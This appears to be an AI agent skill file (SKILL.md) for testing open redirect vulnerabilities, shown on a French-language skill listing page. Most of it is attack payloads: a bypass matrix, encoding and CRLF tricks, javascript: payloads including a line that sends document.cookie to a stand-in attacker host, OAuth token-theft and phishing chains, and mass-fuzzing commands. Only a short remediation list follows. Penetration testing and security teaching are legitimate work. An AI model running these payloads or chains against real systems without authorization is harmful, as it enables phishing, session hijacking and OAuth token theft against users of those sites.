testing-for-open-redirect-vulnerabilities

Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.

Aller à l'installation

Dépôt: xalgord/xalgorix
Dernière activité de la source: 6 juin 2026 à 16:41
Langue détectée de SKILL.md: anglais
Étoiles: 813
Forks: 146

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Retour à la recherche Retour à l’installation

name	testing-for-open-redirect-vulnerabilities
description	Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.
domain	cybersecurity
subdomain	web-application-security
tags	["open-redirect","url-redirect","phishing","owasp","url-validation","redirect-bypass","unvalidated-redirect"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]

Testing for Open Redirect Vulnerabilities

When to Use

When testing login/logout flows that redirect users to specified URLs
During assessment of OAuth authorization endpoints with redirect_uri parameters
When auditing applications with URL parameters (next, url, redirect, return, goto, target)
During phishing simulation to chain open redirects with credential harvesting
When testing SSO implementations for redirect validation weaknesses

Critical: Payload Matrix and Bypasses (checklist-derived)

Parameters to test (fuzz every one)

url, redirect, redir, next, target, return, rurl, dest, destination,
redirect_uri, redirect_url, checkout_url, continue, return_to, returnTo,
return_path, go, image_url, view, login?to, out, r, u

Bypass matrix (paste into the redirect parameter)

//attacker.com
/\attacker.com
https:attacker.com
\/\/attacker.com
//attacker.com/%2f..
https://target.com@attacker.com
https://target.com%2f@attacker.com
//attacker%E3%80%82com          # unicode dot (。) -> attacker.com
https://target.com.attacker.com  # whitelisted-host as subdomain prefix
https://attacker.com/target.com  # whitelisted-host placed in path
returnTo=///attacker.com/
returnTo=http:///attacker.com/
https://attacker.com%00.target.com   # %00 null byte
https://attacker.com%09.target.com   # %09 tab
https://attacker.com%0d%0a.target.com # %0d%0a CRLF

Encoding / parsing tricks

Whitelisted-host tricks: https://target.com.attacker.com (your domain is a subdomain of attacker) and https://attacker.com/target.com (target string lives in the path) frequently pass naive "contains target.com" checks.
Control-char injection: insert %00 (null), %09 (tab), %0d%0a (CRLF) to truncate or confuse the validator: //attacker.com%0d%0a, https://attacker.com%09@target.com.
Double-encoding: %252f%252f attacker.com and %252e for dots when a single decode pass is performed before validation.
CRLF: if the value lands in a header, %0d%0aLocation:%20https://attacker.com can inject a second redirect.

How to confirm

Server-side: response status is 30x and the Location: header points to the attacker host. Check with curl -sI -o /dev/null -w "%{redirect_url}\n" "<URL>" or read the raw header.

Location

# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"

# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"

# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"

# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"

# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"

Concept	Description
Unvalidated Redirect	Application redirects to user-supplied URL without checking destination
URL Parsing Inconsistency	Different libraries parse URLs differently, enabling bypass
Protocol-Relative URL	Using // prefix to redirect while inheriting current protocol
Userinfo Abuse	Using @ symbol to make URL appear to belong to trusted domain
Open Redirect Chain	Combining multiple open redirects or chaining with other vulnerabilities
DOM-Based Redirect	Client-side JavaScript performing redirect using attacker-controlled input
Meta Refresh Redirect	HTML meta tag performing redirect without server-side 302

Tool	Purpose
OpenRedireX	Automated open redirect vulnerability testing tool
Burp Suite	HTTP proxy for intercepting and modifying redirect parameters
gf (tomnomnom)	Pattern matcher to extract redirect parameters from URL lists
nuclei	Template-based scanner with open redirect detection templates
ffuf	Fuzzer for mass-testing redirect parameter payloads
OWASP ZAP	Automated scanner with open redirect detection

## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse

### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |

### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters